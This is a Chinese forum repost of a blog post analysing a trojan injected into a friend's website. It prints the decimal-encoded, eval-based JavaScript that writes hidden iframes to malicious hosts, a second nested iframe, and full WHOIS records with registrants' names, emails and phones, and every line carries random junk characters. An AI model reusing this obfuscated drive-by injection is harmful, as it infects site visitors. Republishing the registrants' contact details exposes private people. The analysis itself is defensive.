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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, %J+E/  
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http://www.areway.cn/?p=175 U|jSa,}  
YNQY4\(  
<0Xf9a8>  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: \W~ N  
          E|iQc8gr&  
<script>t=’60,105,102,114,97,109,101, F(>Np2oi6  
32,115,114,99,61,104,116,116,112,58,47,47, .+$ Q<L  
102,114,101,101,46,117,45,117,117,117,46,99, <3LbN FP  
110,47,101,114,114,111,114,46,104,116,109, 9Z4nAc  
32,119,105,100,116,104,61,49,48,48,32,104, RoPRQCE  
101,105,103,104,116,61,48,62,60,47,105,102, 3}}38A|4  
114,97,109,101,62′; t'n pG}`tE  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> nLXlU*ES  
                                                                                                  JMC. w!  
<script>t=’60,105,102,114,97,109,101,32,115, '=b/6@&  
114,99,61,104,116,116,112,58,47,47,102,114, HiZ*+T.B  
101,101,46,117,45,117,117,117,46,99,110,47, uXn1 'K<'2  
101,114,114,111,114,46,104,116,109,32,119, EJMM9(DQ7  
105,100,116,104,61,49,48,48,32,104,101,105, 0XE4<U   
103,104,116,61,48,62,60,47,105,102,114,97, eA2@Nkw~)  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); ofm#'7P 0  
document.write(t);</script> -|$@-fY;  
                                                                                                  >;e~WF>+K  
<html xmlns=” Kp%2k^U  
http://www.w3.org/1999/xhtml G<65H+)M\  
“> >qnko9V  
<head> wW>A_{Y  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> d; boIP`M;  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> s6 uG`F"  
<title>首页 - 爱生活家庭网 LBYMCY  
                                                                                                                                                    (C\]-E>  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 +$ 'Zf0U  
转换字符串后的大概内容是(谁点击后果自付): p`olCp'  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… ,Vc6Gwm  
                                                                                                                                  NcBIg:V\c  
查询玉米u-uuu.cn的详细信息: 3l rT3a3vV  
Domain Name: u-uuu.cn 11 Q1AN  
ROID: 20070901s10001s64972306-cn Ag-(5:  
Domain Status: ok 8\&X2[oAD  
Registrant Organization: 王雷 XO.jl"xu  
Registrant Name: 王雷 slCx w$  
Administrative Email: czlovexs@126.com }Y12  
Sponsoring Registrar: 北京万网志成科技有限公司 n(1l}TJy  
Name Server:ns.yovole.com  -*1d!  
Name Server:ns1.yovole.com f,U.7E  
Registration Date: 2007-09-01 17:54 ;17E(tl  
Expiration Date: 2008-09-01 17:54 _>&X\`D   
最后PING了一下地址 都没有什么…. Yl Zso2  
                                                                                                - YEZ]:"  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. G/)O@Ugp  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> )}Hpi<5N  
<script language=”javascript” src=” i1}:8Unxf  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 3Z>Ux3[  
> P78g /p T  
这个玉米应该有可能是木马作者的: @a! #G  
foafau.info的详细信息: KI"#f$2&  
Access to INFO WHOIS information is provided to assist persons in Z9v31)q(  
determining the contents of a domain name registration record in the 01 }D,W`  
Afilias registry database. The data in this record is provided by hNC&T`.-~B  
Afilias Limited for informational purposes only, and Afilias does not g|o,uD  
guarantee its accuracy.  This service is intended only for query-based qU \w=  
access. You agree that you will use this data only for lawful purposes ` 'DmDg  
and that, under no circumstances will you use this data to: (a) allow, 5AFJC?   
enable, or otherwise support the transmission by e-mail, telephone, or (p"%O  
facsimile of mass unsolicited, commercial advertising or solicitations W: z6Koc0  
to entities other than the data recipient’s own existing customers; or .73X3`P25  
(b) enable high volume, automated, electronic processes that send 8SMxw~9$  
queries or data to the systems of Registry Operator, a Registrar, or <$D`Z-6  
Afilias except as reasonably necessary to register domain names or sA+ }TNhq  
modify existing registrations. All rights reserved. Afilias reserves /:cd\A}  
the right to modify these terms at any time. By submitting this query, ju8> :y8  
you agree to abide by this policy. 1KU! tL  
Domain ID:D22418703-LRMS Cwv9 a^  
Domain Name:FOAFAU.INFO hZ|z|!g0  
Created On:20-Nov-2007 16:05:42 UTC )HEa<P^kJl  
Last Updated On:20-Nov-2007 16:05:44 UTC Ki;*u_4{  
Expiration Date:20-Nov-2008 16:05:42 UTC g_;\iqxL  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) /J]5H  
Status:CLIENT DELETE PROHIBITED fW?vdYF  
Status:CLIENT RENEW PROHIBITED P0;n9>g  
Status:CLIENT TRANSFER PROHIBITED iDpSj!x/_  
Status:CLIENT UPDATE PROHIBITED Sj3+l7S?  
Status:TRANSFER PROHIBITED [*Z;\5&P  
Registrant ID:GODA-040110615 *I B4[6  
Registrant Name:liu hong %Tfbsyf%f  
Registrant Organization: f[]dfLS"W  
Registrant Street1:beijing GV1pn) 4  
Registrant Street2: esJ~;~[@(r  
Registrant Street3: v&6-a*<Z  
Registrant City:beijing 8'[~2/  
Registrant State/Province: (^ J I%>  
Registrant Postal Code:100000 b!+hH Hv:  
Registrant Country:CN -M\<nx  
Registrant Phone:+86.860108888777 4j-Xi  
Registrant Phone Ext.: x[cL Bc<  
Registrant FAX: n'"/KS+_  
Registrant FAX Ext.: &5>Kl}7  
Registrant Email:bbbshiji@163.com QFA8N  
Admin ID:GODA-240110615 v_yw@  
Admin Name:liu hong P?%s #I:  
Admin Organization: |44Ploz2b  
Admin Street1:beijing %:i7s-0w  
Admin Street2: ;xy"\S]  
Admin Street3: [|v][Hwv  
Admin City:beijing \P[Y`LYL  
Admin State/Province: VMZMG$C  
Admin Postal Code:100000 sWhZby7  
Admin Country:CN xH ]Ct~ md  
Admin Phone:+86.860108888777 )L? P}$+  
Admin Phone Ext.: ,Co|-DYf}  
Admin FAX: !M(xG%M-V  
Admin FAX Ext.: [DuttFX^x  
Admin Email:bbbshiji@163.com P1!qbFDv8  
Billing ID:GODA-340110615 )705V|v  
Billing Name:liu hong Zj(AJ*r  
Billing Organization: X;$+,&M"  
Billing Street1:beijing ?4YGT  
Billing Street2: ?d*z8w  
Billing Street3: /l3V3B7  
Billing City:beijing `>o{P/HN  
Billing State/Province: =F|{# F  
Billing Postal Code:100000 Zpt\p7WQ  
Billing Country:CN Cp\6W[2+B  
Billing Phone:+86.860108888777 poE0{HOU  
Billing Phone Ext.: ~g91Pr   
Billing FAX: PrqlTT}Px  
Billing FAX Ext.: aj='b.2)  
Billing Email:bbbshiji@163.com @F AA2 d  
Tech ID:GODA-140110615 N%@Qf~  
Tech Name:liu hong -OV&Md:~  
Tech Organization: 6jaEv#  
Tech Street1:beijing /|}EL%a  
Tech Street2: iqsCB%;5  
Tech Street3: cVv=*81\  
Tech City:beijing `bq<$e  
Tech State/Province: w7L{_aom  
Tech Postal Code:100000 \  #F  
Tech Country:CN kdiM5l70  
Tech Phone:+86.860108888777 f_OQ./`  
Tech Phone Ext.: \doUTr R  
Tech FAX: "x0^#AVg  
Tech FAX Ext.: E:68?IJ  
Tech Email:bbbshiji@163.com &ANf!*<\E  
Name Server:NS27.DOMAINCONTROL.COM `7E;VL^Y1  
Name Server:NS28.DOMAINCONTROL.COM 9c bd~mM{  
Name Server: ^e,.  
Name Server: )MVz$h{c.]  
Name Server: [>I<#_^~  
Name Server: +fB5w?Rg  
Name Server: LH.]DVj  
Name Server: uh0VFL*@  
Name Server: ;?Tbnn Wn  
Name Server: LVM%"sd?  
Name Server: n` _{9R  
Name Server: ,&A7iO  
Name Server: dl)Y'DI  
                                                                                                          [\e eDa  
接着下载每个文件里面的代码: Z?q] bSIT  
一步一步看.. C}j"Qi`  
QT5TE: D  
^oz3F]4,g  
,<_A2t 2  
B:Oa}/H   
/{J4:N'B>  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
级别: 店掌柜
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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